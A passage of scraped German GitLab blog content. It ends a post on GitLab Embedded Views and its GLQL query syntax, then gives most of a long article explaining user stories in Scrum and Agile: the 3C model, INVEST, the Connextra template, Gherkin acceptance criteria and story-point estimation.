rendern:\n\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755193172/ibzfopvpztpglnccwrjj.png)\n\n\nEine einfache Möglichkeit, erste Embedded View zu erstellen, besteht darin, zum Dropdown-Menü **Weitere Optionen** in der Rich-Text-Editor-Symbolleiste zu navigieren. Wähle dort **Embedded View** aus, wodurch folgende Abfrage in einem Markdown-Codeblock eingefügt wird:\n\n\n````yaml\n\n```glql\n\n\nquery: assignee = currentUser()\n\n\nfields: title, createdAt, milestone, assignee\n\n\ntitle: Mir zugewiesene Issues\n\n\n```\n\n````\n\n\nSpeicher deine Änderungen im Kommentar oder in der Beschreibung, wo der Codeblock erscheint, und schon bist du fertig! Du hast erfolgreich deine erste Embedded View erstellt!\n\n\n## Wie GitLab Embedded Views nutzt\n\n\nOb wir Merge Requests für Security-Releases nachverfolgen, Bugs zur Verbesserung der Backlog-Hygiene triagieren oder Team-Onboarding und Milestone-Planung verwalten – wir verlassen uns täglich bei geschäftskritischen Prozessen auf Embedded Views. Dies ist nicht nur ein Feature, das wir entwickelt haben, es ist ein Tool, auf das wir uns verlassen, um unser Geschäft effektiv zu führen. Wenn du Embedded Views einführst, erhältst du eine getestete Lösung, die GitLab-Teams bereits dabei hilft, effizienter zu arbeiten, datengesteuerte Entscheidungen zu treffen und die Transparenz über komplexe Workflows hinweg zu wahren. Einfach ausgedrückt: Embedded Views können verändern, wie dein Team auf die Arbeit zugreift und sie analysiert, die für deinen Erfolg am wichtigsten ist.\n\n\nUm mehr darüber zu erfahren und zu sehen, wie GitLab Embedded Views intern nutzt, schaue dir [How GitLab measures Red Team impact: The adoption rate metric](https://about.gitlab.com/blog/how-gitlab-measures-red-team-impact-the-adoption-rate-metric/) und Global Search Release Planning Issues für die Milestones [18.1](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/239), [18.2](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/241) und [18.3](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/245) an.\n\n\n## Was kommt als Nächstes\n\n\nEmbedded Views sind nur der Anfang der Vision der [Knowledge Group](https://about.gitlab.com/direction/plan/knowledge/) für die Arbeitsverfolgung. Erfahre mehr über unsere nächsten Schwerpunkte im [Embedded Views Post-GA Epic](https://gitlab.com/groups/gitlab-org/-/epics/15249). Während sich Embedded Views weiterentwickeln, wollen wir sie noch leistungsfähiger und [zugänglicher](https://gitlab.com/gitlab-org/gitlab/-/issues/548722) zu machen.\n\n\n## Teile deine Erfahrungen\n\n\nTeile uns dein Feedback mit im [Embedded Views GA Feedback Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/509792). Egal ob du innovative Anwendungsfälle entdeckt hast, auf Herausforderungen gestoßen bist oder Verbesserungsideen hast – wir wollen von dir hören.\n",[788,789,790],"Matthew Macfarlane","Himanshu Kapoor","Alex Fracazo","2025-09-11","2025-08-21","Embedded Views: Die Zukunft des Work Tracking in GitLab",[795,796,797],"agile","DevSecOps platform","workflow","So machen Embedded Views Teams effizienter, fördern datengesteuerte Entscheidungen und bieten Transparenz in Workflows. Alles mit GitLab Query Language.",{"featured":6,"template":800,"slug":801},"BlogPost","embedded-views-the-future-of-work-tracking-in-gitlab",{"content":803,"config":812},{"heroImage":804,"body":805,"authors":806,"updatedDate":808,"date":808,"title":809,"tags":810,"description":811,"category":672},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749661979/Blog/Hero%20Images/scrum-project-management.jpg","Die User Story ist ein sehr einfaches Konzept. Trotzdem hat sie die Projektplanung entscheidend verändert \\- und das, obwohl User Stories zum Beispiel in [Scrum](https://about.gitlab.com/de-de/blog/scrum-project-management-how-it-works/) nicht einmal vorkommen. \n\nGerade weil User Storys für die Teamarbeit so wichtig sind, stellen sie eine Herausforderung dar. Diskussionen um die richtige Formulierung einer User Story in Scrum oder ihre korrekte Bearbeitung in [Kanban](https://about.gitlab.com/de-de/blog/what-is-kanban/) können wertvolle Zeit verbrauchen. So empfinden viele das Konzept eher als undeutlich, aufwändig und belastend. \n\nWir glauben fest daran, dass eine tiefe Verinnerlichung von User Storys - gerade in der [agilen Methode](https://about.gitlab.com/de-de/solutions/agile-delivery/) - dich wirklich voranbringen kann. In diesem Artikel werden wir deshalb so praxisnah wie möglich demonstrieren, wie du sie nutzen kannst, um zu besseren Entscheidungen, Prozessen und Produkten zu gelangen.\n\n## Inhaltsverzeichnis\n\n- [Was ist eine User Story?](#was-ist-eine-user-story%3F)\n- [Warum sollte ich mit User Stories arbeiten?](#warum-sollte-ich-mit-user-stories-arbeiten%3F)\n- [Kann ich auch ohne User Stories auskommen?](#kann-ich-auch-ohne-user-stories-auskommen%3F)\n- [Welche Rolle spielen User Stories in Agile?](#welche-rolle-spielen-user-stories-in-agile%3F)\n- [User Stories in Scrum](#user-stories-in-scrum)\n- [Wie schreibe ich eine gute User Story?](#wie-schreibe-ich-eine-gute-user-story%3F)\n  - [Das 3C-Modell](#das-3c-modell)\n  - [INVEST](#invest)\n- [Scrum User Story: Aufbau und Beispiel](#scrum-user-story-aufbau-und-beispiel)\n  - [User-Story-Beispiel Schritt 1: 5 Whys](#user-story-beispiel-schritt-1-5-whys)\n  - [User-Story-Beispiel Schritt 2: Connextra-Template](#user-story-beispiel-schritt-2-connextra-template)\n  - [User-Story-Beispiel Schritt 3: Akzeptanzkriterien](#user-story-beispiel-schritt-3-akzeptanzkriterien)\n  - [Das Gherkin-Format](#das-gherkin-format)\n- [Agile Schätzung](#agile-schatzung)\n- [Story Points: Aufwand vs. Arbeitszeit](#story-points-aufwand-vs-arbeitszeit)\n- [Story Points in der Schätzung](#story-points-in-der-schatzung)\n  - [Planning Poker](#planning-poker)\n  - [Affinity Mapping](#affinity-mapping)\n- [Wer schreibt User Stories?](#wer-schreibt-user-stories%3F)\n\nWir werden dabei definieren, was User Stories sind, über das Schreiben und den Aufbau einer User Story informieren, Beispiele geben und dir zeigen, was eine gute User Story ausmacht. Doch fangen wir mit einer grundlegenden Frage an:\n\n## Was ist eine User Story?\n\nManche bezeichnen eine User Story schlicht als die kleinste Einheit (oder auch als ein „[Werkzeug](https://t2informatik.de/wissen-kompakt/user-story/)”) der agilen Methode. Andere, darunter auch die [Agile Scrum Group](https://scrumguide.de/user-story/), als eine „Beschreibung dessen, was ein Benutzer (User) will.” \n\nAus diesen Definitionsversuchen wird deutlich: **Eine User Story ist eigentlich gar keine „Geschichte”. Sie stellt vielmehr einen Ansatz dar, dein Produkt so zu verändern, dass es aus der Sicht der Kund(innen) ein neues, besseres Erlebnis bietet.** \n\nInnerhalb einer User Story ist ein neues Feature somit nur dann eine Verbesserung, wenn es Anwender(innen) einen ganz bestimmten, erfahrbaren Nutzen bietet. Eine Software zu „optimieren”, ohne nach diesem Nutzen zu fragen, wird dabei als nicht zielführend betrachtet. \n\nGute User Stories zu schreiben, bedeutet, dich in der Entwicklung von Kund(innen) leiten zu lassen und auf ihre Bedürfnisse und Wünsche hinzuarbeiten. Es bedeutet, den Fokus auf Features hinter dir zu lassen und dich in Richtung einer Betrachtungweise zu bewegen, bei der echte Wertschöpfung in den Mittelpunkt gestellt wird. \n\nDennoch wurde der Begriff „Story”, wie Jeff Patton, einer der geistigen Väter der modernen User Story betont hat, mit Bedacht gewählt. Wir werden darauf später noch genauer eingehen. \n\n## Warum sollte ich mit User Stories arbeiten?\n\nDiese Frage stellt sich in einigen Teams wohl so manche(r). Denn in der Praxis nimmt sich die Arbeit mit User Stories nicht immer einfach aus. Dennoch lohnt sich die investierte Mühe zweifelsohne. Denn das Konzept der User Story mag auf dem Papier fast schon banal anmuten. In Wahrheit steckt dahinter eine entscheidende Neuausrichtung der Entwicklungsarbeit:\n\n* User Stories legen den Fokus voll und ganz auf die Anwender(innen) \\- also auf diejenigen, die das Produkt nutzen, bewerten und bezahlen.   \n* Sie verlagern den Schwerpunkt von „objektiven” Features auf das „subjektive” Erlebnis, mit diesen Features zu arbeiten. Hier kommt der „Story-Gedanke” zum Tragen: Wie wertvoll dein Produkt aus Sicht der Kund(innen) ist, hängt von der Geschichte ab, die sich User(innen) darüber bilden.   \n* Damit kombinieren diese Stories beide Sichten auf ein Produkt: Die technisch-funktionale sowie die narrativ-emotionale.   \n* Weil User Stories die Betonung auf den Nutzen legen, der für Kund(innen) entsteht, sind sie in ihrer Umsetzung nicht starr festgelegt. Das Ziel ist nicht die Anwendung, sondern die Vorstellung von einer besseren Erfahrung. Der Weg zu dieser Erfahrung lässt sich auf viele verschiedene Weisen erreichen.   \n* User Storys sind Teil eines kontinuierlichen Verbesserungsprozesses wie der [automatisierten Softwarebereitstellung](https://about.gitlab.com/de-de/solutions/delivery-automation/), mit vielen sofort testbaren Zwischenstufen (*minimal viable product*, das kleinste realisierbare Produkt). Dieser Prozess endet theoretisch mit einem Produkt, das aus Sicht der Kund(innen) nicht mehr optimiert werden kann (und welches somit in der Praxis niemals erreicht werden wird). \n\nIn der Regel helfen User Stories auch dabei, sinnvolle Prioritäten zu setzen, die praxisnah und in einem angemessenen Zeitrahmen realisierbar sind. \n\n## Kann ich auch ohne User Stories auskommen? \n\nUser Stories haben sich fest etabliert. Dennoch kommen auch heute noch viele Teams ohne sie aus. Sogar Firmen, die sich eigentlich fest der agilen Methode verschrieben haben, nutzen sie nicht zwangsläufig. \n\nTrotzdem kann man behaupten: Wer wirklich agil arbeiten will, wird zumindest mit Instrumenten und Konzepten arbeiten, die den User Stories sehr nahe kommen. Wie wir im nächsten Abschnitt zeigen werden, bauen beide auf demselben Ansatz auf und sind eng miteinander verflochten.\n\nAndersherum gilt auch: Nicht jedes Team, das auf User Stories setzt, hat die Philosophie voll verinnerlicht. Nur allzu leicht wird eine User Story zu einem einfachen „Requirement” \\- einer Auflistung gewünschter Funktionalitäten, bei der oftmals der Nutzen für Kund(innen) vergessen wird. \n\n## Welche Rolle spielen User Stories in Agile? \n\nAus dem Gesagten wird ersichtlich, warum User Stories in der agilen Entwicklung auf einen fruchtbaren Nährboden gestoßen sind. Beide legen den Fokus auf ständige Verbesserungen, Teamarbeit einschließlich einer engen Zusammenarbeit mit Kund(innen), und die Orientierung der Ergebnisse an klaren Bewertungskriterien. \n\nUser Stories fügen sich nahtlos in eine agile Organisation ein: \n\n* Idealerweise kann eine User Story innerhalb eines einzigen Sprints abgearbeitet werden.   \n* User Stories werden im Team festgelegt, besprochen und umgesetzt.  \n* Ein klar definiertes Bewertungssystem liefert die Daten, die benötigt werden, um ein Projekt abzuschließen.\n\nWillst du User Stories in deinem Team nutzen? Wenn du mit Kanban arbeitest, brauchst du für deine Projektarbeit nichts zu verändern. Du kannst weiterhin mit deinen To-do-Listen arbeiten, richtest die Ziele aber nunmehr auf die Perspektive von Kund(innen) aus. \n\n## User Stories in Scrum\n\nWie gezeigt, sind User Stories sehr eng mit der agilen Methode verbunden. Und Scrum ist eine der zentralen Konzepte zur Umsetzung der agilen Methode. So erscheint es als selbstverständlich, dass User Stories auch in Scrum Anwendung finden.\n\nInteressanterweise aber werden sie im [Scrum User Guide](https://scrumguides.org/docs/scrumguide/v2020/2020-Scrum-Guide-German.pdf) nicht erwähnt. Stattdessen thematisiert dieser lediglich den „Product Backlog”, also\n\n*„alle Features, Funktionalitäten, Verbesserungen und Fehlerbehebungen, die das Produkt in Zukunft verändern sollen. Ein Product Backlog Item enthält eine Beschreibung, eine Reihenfolge, Schätzung und Bewertung als Attribute.” \\[Übersetzung aus dem Englischen\\]*\n\nAus dem gerade Erwähnten dürfen keine falschen Schlussfolgerungen gezogen werden. \n\nUser Stories sind nicht die einzige Möglichkeit, mit Scrum kundenorientiert zu arbeiten. Trotzdem haben sie in Scrum ganz gewiss ihren Platz\\! Vielmehr möchte sich der Scrum-Guide nur nicht eindeutig auf ihre Verwendung festlegen und Scrum-Mastern maximale Freiheit einräumen.\n\n## Wie schreibe ich eine gute User Story?\n\nDiese Frage stellt sich zu Beginn nahezu jedes neuen Sprints. Wenn User Stories intuitiv erfassbar und ihre Vorteile offensichtlich sind und wenn das Konzept an sich einfach zu erklären ist \\- warum fällt es dann schwer, es in die Praxis umzusetzen?\n\nWenn du dich mit dieser Frage beschäftigst, mache dir deswegen keine Vorwürfe. User Storys gibt es als methodische Idee bereits seit fast 30 Jahren. Innerhalb dieser Zeit hat es immer wieder Bemühungen gegeben, die Umsetzung zu vereinfachen \\- ein eindeutiges Indiz, dass sie nicht einfach ist. \n\nEine gute User Story hat bestimmte Qualitätskriterien. Diese werden wir uns im nächsten Abschnitt ansehen. Trotzdem glauben wir, dass es möglich ist, auf einer etwas allgemeineren Ebene zu erklären, was eine gute User Story ausmacht:\n\nDamit eine User Story wirklich Nutzen für Kund(innen) generiert, muss sie ihrer Erlebniswelt so nahe wie möglich kommen. Deshalb werden viele der besten User Storys de facto von den Anwender(innen) verfasst \\- sei es nach einem intensiven Gespräch oder weil der Kontakt so eng ist, dass du sehr genau abschätzen kannst, was diese sich wünschen. \n\nDas zweite wichtige Kriterium ist, diesen Nutzen so lebendig wie möglich darzustellen. Wir haben zu Anfang erwähnt, dass eine User Story keine Geschichte ist. Wenn wir sie zu Papier bringen, dann solltest du sie dir sehr plastisch vorstellen können: *So dreidimensional wie ein kleiner Film, der vor dem geistigen Auge abläuft, so kurz gefasst wir ein Haiku.* Dabei kannst du die Zufriedenheit bei Anwender(innen) förmlich spüren. \n\nAuf einer formalen Ebene können das 3C-Modell und die INVEST-Methode weitere Hinweise liefern. In den folgenden beiden Abschnitten gehen wir genauer auf sie ein.\n\n### Das 3C-Modell\n\nDas 3C-Modell entstand bereits früh in der User-Story-Geschichte. Es stammt noch aus einer Zeit, in der die Stories noch wortwörtlich „zu Papier” gebracht wurden. Für eine gute Story sollten in diesem Rahmenwerk folgende drei Punkte erfüllt sein:\n\n1. **C**ard: Die User Story sollte so knapp bemessen sein, dass sie auf eine Karteikarte passt, jedoch ausführlich genug, dass sie diese Karte komplett ausfüllt.   \n2. **C**onversation: Die User Story definiert einen Wunsch und Nutzen der Kund(innen). Die Bewertung und Umsetzung dieser Story erfolgt in enger Zusammenarbeit zwischen allen Teammitgliedern und Kund(innen). Intensive Gespräche sind dabei ein zentraler Bestandteil.  \n3. **C**onfirmation: Es muss eine objektivierbare Möglichkeit bestehen, festzustellen, wann das Ziel erreicht ist. \n\nDas 3C-Modell ist angenehm knapp und bringt zur Geltung, was eine gute Story von einer weniger überzeugenden unterscheidet. Gleichzeitig liefert es wenig praktische Hilfe dabei, eine solche User Story zu schreiben.\n\n### INVEST\n\nAuch bei dem Akronym INVEST handelt es sich um einen Katalog von Anforderungen an gutes User-Story-Schreiben. Es gibt Überschneidungen mit 3C, aber auch eigenständige Punkte.\n\nSehen wir uns die sechs Anforderungen von INVEST einzeln an:\n\n1. **I**ndependent: Jede User Story sollte einen eigenständigen Wunsch von Kund(innen) abbilden. Sie sollte nicht von der Umsetzung anderer Wünsche abhängen.   \n2. **N**egotiable: Die Bedürfnisse der Kund(innen) stehen immer im Vordergrund. Aber eine User Story lebt auch vom regen Austausch zwischen verschiedenen Abteilungen und Teams. Wichtiger als ein starres Festhalten an einmal gewählten Formulierungen ist ein ständiges Aushandeln und Neuverhandeln der Ziele sowie der Methoden zu ihrer Umsetzung.   \n3. **V**aluable: Eine gute User Story muss einen echten, spürbaren Nutzen für Kunden liefern.  \n4. **E**stimate: Manche User Storys werden sich schnell und problemlos lösen lassen. Andere sind komplex. Damit für die praktische Arbeit ausreichend Mitarbeiter(innen) mit dem erforderlichen Wissen zur Verfügung gestellt werden, bedarf es einer möglichst genauen Aufwandseinschätzung.  \n5. **S**mall: Eine User Story sollte in einem Sprint beendet werden können. Sobald du mit einem signifikant höheren Aufwand rechnest, solltest du die Story aufteilen oder von Anfang an als Epic planen.  \n6. **T**estable: Zur Bewertung einer User Story solltest du Abnahmekriterien festlegen können. Diese erlauben es dir, später zu bestimmen, ob du das zu Anfang gesteckte Ziel erreicht hast. Mit diesen Akzeptanzkriterien beschäftigen wir uns gleich.\n\nWie du aus dieser Übersicht erkennen kannst, beziehen sich die über das 3C-Modell hinausgehenden Punkte von INVEST vor allem auf die Arbeit in Scrum. Aus diesem Grund ergibt INVEST Sinn für alle Scrum-Master, die sich intensiver mit User Stories auseinandersetzen wollen.\n\n## Scrum User Story: Aufbau und Beispiel\n\nGehen wir nun zu dem Punkt über, der in nahezu allen Artikeln und Übersichten zum Thema fehlt: Einem praktischen Beispiel für eine User Story in Scrum und wie du sie so schreiben kannst, dass sie zu einem wünschenswerten Ergebnis führt. Wir werden in diesem Artikel nicht näher auf ein Epic-Beispiel (lange User Story) eingehen. Denn auch, wenn die Zyklen sich hier über mehrere Sprints erstrecken, bleibt das Grundprinzip identisch. \n\nNehmen wir an, du hast aus Gesprächen mit Kund(innen) ermittelt, dass diese nicht zufrieden mit der Updatefunktion deines Produkts sind. Immer wieder werden sie während der Arbeit von Update-Meldungen gestört und die Durchführung der Updates beeinträchtigt zudem die Rechenkapazität. Sie würden gerne komfortabel bestimmen können, wann Updates installiert werden sollen oder sich gegen bestimmte Updates entscheiden.  \n\nWie verläuft nun der Weg von diesem ersten Wunsch der Kund(innen) hin zum neuen Feature, beziehungsweise zum Befriedigen des Wunsches der Kund(innen)? \n\n### User-Story-Beispiel Schritt 1: 5 Whys\n\nDas Konzept der User Story fußt auf der Schöpfung von Nutzen. Deshalb sollte das genaue Definieren dieses Nutzens höchste Priorität genießen. Wenn du den Nutzen nicht richtig erfasst, wird es deinem Team auch nicht gelingen, die zentrale emotionale Komponente des Prozesses \\- die „Story” \\- zufriedenstellend umzusetzen. \n\nHilfe bietet hier die 5-Why-Technik. \n\nFange damit an, was du erreichen möchtest: ein Update-Prozess, der von Kund(innen) nicht mehr als Belästigung empfunden wird, sondern als Unterstützung und Optimierung. Anschließend stelle dir selbst die Aufgabe, fünf gute Gründe zu finden, warum diese Story einen Nutzen stiftet.\n\nFür diese User Story wäre zum Beispiel aus der Sicht von Kund(innen) denkbar:\n\n* Damit ich bei voller Rechenleistung weiterarbeiten kann.  \n* Damit ich zunächst sicherstellen kann, dass genug Speicherplatz zur Verfügung steht.   \n* Damit ich die Entscheidung über Updates dann treffe, wenn ich mich damit auch wirklich auseinandersetzen kann und möchte.   \n* Damit ich gezielt nur die Updates auswählen kann, die ich brauche.   \n* Damit ich weiß, welche neuen Updates installiert wurden und immer auf dem neuesten Stand bleibe.\n\nJe mehr Details du hier erarbeiten kannst, umso deutlicher wird es für das Team als Ganzes (und manchmal sogar für die Kund(innen) selbst), worin genau die „Story” besteht.\n\n### User-Story-Beispiel Schritt 2: Connextra-Template\n\nWir haben es bereits erwähnt: User Stories sind eher wie Haikus als Geschichten. Und genau wie Haikus hilft es, bei der Formulierung einer User Story einem mehr oder weniger strengen Format zu folgen.   \n\nRachel Davis von der Firma Connextra stellte fest, dass viele Mitarbeiter(innen) mit dem Schreiben einer guten User Story überfordert waren. Die inhärente Freiheit des Konzepts erwies sich als ein Problem. Wie so oft bot eine gezielte Limitierung der Optionen eine passende Lösung.\n\nDavis schlug den folgenden User-Story-Aufbau vor:\n\n*Als \\[Rolle\\] möchte ich \\[Story\\], damit ich \\[Grund\\]*\n\nDas bedeutet in unserem User-Story-Beispiel:\n\n*Als Kundin möchte ich in Ruhe mit der Software arbeiten können, ohne von Updates unterbrochen zu werden. Ich möchte aber auch immer darüber informiert sein, was für Updates genau neu installiert werden und mich gegebenenfalls gegen sie entscheiden. Der Grund ist, dass ich es vorziehe, immer die Kontrolle über die Software zu behalten und immer auf dem neuesten Stand zu sein.* \n\nDies ist leider nicht, wie das Template in der Praxis üblicherweise benutzt wird. Oftmals setzen viele Teams statt einer emotional gelebten „Story” einfach eine rein technische Funktionalität ein. \n\nDabei geht genau der wichtigste Teil verloren. Bei User Stories geht es um eine alternative Möglichkeit, mit dem Produkt zu arbeiten \\- nicht um eine neue Methode, die Arbeit aufzuteilen. Wenn du so vorgehst, nutzt du zwar formal einen passenden User-Story-Aufbau, arbeitest aber mit alten Methoden. \n\nDas Connextra-Template verführt dazu, zu Mustern zurückzukehren, die du hinter dir lassen solltest. Wer es aber in seiner ursprünglichen Form verwendet, kann sehr großen Nutzen daraus ziehen. \n\n### User-Story-Beispiel Schritt 3: Akzeptanzkriterien\n\nJede gute Geschichte hat einen Anfang und ein Ende. Ohne das letzte Kapitel und ein zufriedenstellendes Finale wird selbst ein spannender Anfang und ein packender Mittelteil mit einer Enttäuschung enden. \n\nAus diesem Grund solltest du unbedingt gleich zu Anfang Akzeptanzkriterien für deine User Story festlegen. Diese setzen einen Rahmen dafür, wann eine User Story als beendet („done”) betrachtet werden kann. Zusammen mit dem vierten Schritt, dem Abschätzen, verankern sie User Stories fest im agilen Framework. \n\nDie Agile Scrum Group meint [zum Thema Akzeptanzkriterien](https://agilescrumgroup.de/akzeptanzkriterien/): \n\n*„Akzeptanzkriterien geben einer User Story Details, sodass Sie wissen, wann eine User Story fertig ist. Akzeptanzkriterien entstehen aus Gesprächen zwischen dem Product Owner, den Stakeholdern und den Entwicklern, wenn Sie nach dem Scrum Framework arbeiten.”*\n\nEs empfiehlt sich bei dem Festlegen der Akzeptanzkriterien folgendes zu beachten:\n\n* 4-8 Akzeptanzkriterien pro User Story erscheinen den meisten Experten als eine sinnvolle Menge.  \n* Suche nach objektiven Kriterien, insofern dies innerhalb der subjektiven Grenzen einer User Story möglich ist. Umso präziser sich feststellen lässt, ob ein Kriterium erfüllt wurde, um so besser.  \n* Entscheidend bei User Storys ist die „Story”, die sich Kund(innen) wünschen, nicht, wie diese umgesetzt wird oder welche Features sie beinhaltet. Lege deshalb genau fest, „was” du erreichen möchtest \\- und überlasse das „wie” der Teamarbeit.\n\nWie sehen Akzeptanzkriterien in der Praxis aus? Es gibt hier verschiedene Ansätze. Das beste Beispiel ist das sogenannte Gherkin-Format.\n\n### Das Gherkin-Format\n\nEbenso wie das Connextra-Template für den User-Story-Aufbau packt das Gherkin-Format die Formulierung von Akzeptanzkriterien für diese User Stories in ein fixes Format. Das erleichtert die Arbeit ungemein. \n\nDas Format sieht folgendermaßen aus:\n\n*Gegeben \\\u003CVoraussetzung\\>*  \n*wenn \\\u003CEreignis\\>*  \n*dann \\\u003CErgebnis\\>*\n\nSo kann für viele potenzielle Fälle ein Szenario entworfen werden. Ein hervorragendes User-Story-Beispiel findet sich in einem ausführlichen [PDF-Leitfaden des Bundesinnenministeriums](https://www.digitale-verwaltung.de/SharedDocs/downloads/Webs/DV/DE/servicehandbuch.pdf?__blob=publicationFile&v=3): Hier möchten Anwender(innen) ein „Passbild hochladen\", damit ihre „Antragsdaten vollständig sind”: \n\n*„Szenario: Bilddatei hochladen*  \n*Gegeben ist, dass der Nutzende angemeldet ist und sich auf dem entsprechenden Formular befindet,*  \n*Wenn der Nutzende eine ausgewählte Datei hochlädt und es sich um eine Bilddatei handelt,*  \n*dann wird sie übernommen und dem Nutzenden als hochgeladen angezeigt und die Biometrie-Prüfung*  \n*wird angestoßen.*\n\n*Szenario: Falsches Format hochladen*  \n*Gegeben ist, dass der Nutzende angemeldet ist und sich auf dem entsprechenden Formular befindet,*  \n*Wenn der Nutzende eine ausgewählte Datei hochlädt und es keine Bilddatei ist,*  \n*dann wird sie nicht übernommen und es wird ein Fehler angezeigt.”*\n\n## Agile Schätzung\n\nDie Welt der Softwareentwicklung ist nicht linear. Aufgaben werden nicht bequem der Reihe nach abgearbeitet. In der Regel gilt es, mit einer limitierten Menge an Arbeitszeit die von dir und deinem Team definierten User Stories gleichzeitig oder zeitversetzt umzusetzen. Das stellt die Planung vor anspruchsvolle Aufgaben. \n\nDas Ziel der User-Story-Organisation besteht darin, zu verstehen, wie viel Aufwand jede einzelne Story erfordert. Je genauer du dies weißt, desto genauer wirst du in der Lage sein, die zu erledigenden Aufgaben auf die bestehenden Kapazitäten zu verteilen. Je gröber dein Verständnis, umso höher das Risiko, dass User Stories gar nicht oder nicht in der erforderlichen Qualität erledigt werden. \n\nDieses Risiko kann das Überleben des Unternehmens gefährden. Aus diesem Grund nimmt die agile Schätzung \\- also die Schätzung des Aufwands deiner User Stories \\- eine zentrale Rolle ein. \n\nDu könntest nun meinen, dass es dafür eine einfache Lösung gibt: Du weist schlicht jeder User Story eine geschätzte Bearbeitungsdauer zu und verteilst die Arbeit anschließend so, dass sie innerhalb der geplanten Sprints erledigt werden kann. \n\nIn der Praxis haben sich andere Ansätze als effektiver erwiesen. \n\n## Story Points: Aufwand vs. Arbeitszeit\n\nZeit ist relativ. Was für das Universum als Ganzes gilt, hat auch in der Softwareentwicklung Bestand. Arbeitszeit präziseeinzuschätzen hängt von einer Vielzahl von Faktoren ab und kann sich sogar für erfahrene Personalplaner als äußerst schwierig erweisen. Gerade bei schnellen und zugleich zeitintensiven Branchen können selbst kleine Abweichungen massive Folgewirkungen haben und den gesamten Zeitplan durcheinander bringen.\n\nAus unserer Sicht sind zwei Punkte verantwortlich dafür, dass Zeit in der Planung kein idealer Bewertungsmaßstab ist:\n\n* Die Komplexitäten verschiedener User Stories können sehr weit auseinanderklaffen. Das bedeutet nicht unbedingt, dass komplexe Aufgaben mehr Zeit benötigen. Möglicherweise erfordern sie lediglich, dass sich erfahrene, hochqualifizierte oder auf dieses Thema geschulte Teammitglieder um ihre Bearbeitung kümmern müssen.   \n* Der Aufwand einer Aufgabe hängt ebenfalls von sehr unterschiedlichen Faktoren ab. Manche User Stories müssen ausgiebig im Team diskutiert werden, andere erfordern viel Zeit, um realisiert zu werden, obwohl sie keineswegs „schwierig” sind. Andere können nur in ständiger Rücksprache mit Kund(innen) umgesetzt werden. All das beeinflusst die Arbeitszeit, teilweise auf eine Art und Weise, die nur schwer vorherzusehen ist.\n\nAus diesem Grund hat sich eine andere Einheit zur Einschätzung herauskristallisiert: Story Points. Dabei handelt es sich um ein Maß, das den Aufwand einer User Story auf eine nicht direkt mit der erforderlichen Zeit verbundene Weise zu bestimmen versucht: Je mehr Story Points eine User Story erfordert, umso höher der Aufwand. \n\n## Story Points in der Schätzung\n\nStory Points sind Aufwandspunkte. Sie können in erfahrenen Teams zu sehr genauen Schätzungen führen. Trotzdem stehen sie niemals für absolute Werte und sind im Gesamtkontext aller aktuell anstehenden User Storys zu sehen. \n\nDie beliebtesten Konzepte basieren nahezu alle grob auf der Fibonacci-Folge. In dieser Sequenz entsteht die jeweils nächste Zahl aus der Summe der beiden vorangegangenen. Die ersten 13 Einträge dieser Folge sind demzufolge:\n\n0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144\n\nIn der User-Story-Planung werden diese Zahlen ein wenig geglättet. So entsteht zum Beispiel die folgende Kette:\n\n0, 1, 2, 3, 4, 5, 8, 13, 20, 30, 50, 100\n\nWir haben auch Konzepte gefunden, in der zwischen 0 und 1 noch ein 0,5 eingefügt und statt einer 50 eine 40 gewählt wurde. Das aber sind Feinheiten, die das Konzept als solches nicht wesentlich  tangieren. \n\nAnschließend weist das Team den User Stories einen dieser Zahlenwerte zu. Daraus entsteht eine Reihenfolge der Stories nach Aufwand. Die folgenden Methoden zur Zuweisung von Story Points sind üblich:\n\n### Planning Poker\n\nBeim Planning Poker weisen die Teammitglieder jeder User Story auf einer verdeckt gehaltenen Karte, je nach dem geschätzten Aufwand, Story Points zwischen 0 und 100 zu. Anschließend werden die Karten offen auf den Tisch gelegt und nach Zahl der Story Points auf Stapel verteilt. \n\nDer Stapel mit den meisten Karten ist der „Sieger” und die User Story erhält die damit verbundene Zahl an Punkten, beispielsweise 20\\. \n\nDas Planning Poker ist eine elegante Methode der Aufwandsschätzung, die letzten Endes aber natürlich einer simplen Abstimmung gleichkommt. \n\nDas Konzept der Planung durch T-Shirtgrößen, was sich ebenfalls oft in einschlägigen Artikeln findet, ist aus unserer Sicht keine eigenständige Methode, sondern eine modifizierte Variante des Pokers. Gleiches gilt für das „Bucket System” (ein Eimer, in den die Karten geschmissen werden) oder das „Dot Voting” (mit kleinen Klebepunkten). \n\n### Affinity Mapping\n\nDas Affinity Mapping ist eine der wenigen Alternativen zum Planning Poker. Es besteht aus zwei Phasen:\n\n1. Zunächst gruppieren alle Teammitglieder gemeinschaftlich die Aufgaben, die einen ähnlichen Komplexitätsgrad aufweisen. Die Einteilung erfolgt durch Diskussion innerhalb des Teams.  \n2. Anschließend werden den User Stories innerhalb der Gruppe, entweder durch weitere Gespräche oder Methoden wie Planning Poker, Story Points zugewiesen. So entsteht eine Reihenfolge, bei der die aufwandsintensiven Stories ganz oben, die vermutlich weniger anspruchsvollen weiter unten stehen. \n\n## Wer schreibt User Stories?\n\nIn der Vergangenheit wurde die Planung und Aufgabenzuweisung üblicherweise von einer zentralen Instanz oder einer verantwortlichen Person vorgenommen. Bis heute hat sich diese Arbeitsverteilung in vielen Unternehmen gehalten. Sogar Scrum, ein teamorientiertes Konzept innerhalb der teamorientierten Agile-Management-Philosophie, arbeitet bis heute mit einem Scrum-Master.\n\nDas Schreiben von User Stories unterscheidet sich hier deutlich. Zwar wird die erste Version der User Story oftmals noch von einem erfahrenen Teammitglied verfasst, beispielsweise nach einem ausführlichen Austausch mit Kund(innen). Hier schließt sich direkt die Phase der „Verhandlungen” an, also des Austauschs zwischen allen Beteiligten. \n\nSomit werden User Stories zwar noch sehr oft von Einzelnen vorbereitet, geschrieben werden sie aber von der Gruppe. \n\nGenau das macht sie auch zu einem so großartigen Tool. Denn wie jeder Autor weiß, ist eine Geschichte nur dann gut, wenn man sich mit ihr identifizieren kann. \n\n*Willst Du mehr dazu wissen, wie Deine persönliche User Story in Scrum zum Erfolg wird? Dann empfehlen wir Dir unseren Leitfaden zur [Verwendung von Scrum in GitLab](https://docs.gitlab.com/ee/tutorials/scrum_events/). Oder informiere Dich dazu, warum GitLab ganz allgemein die führende 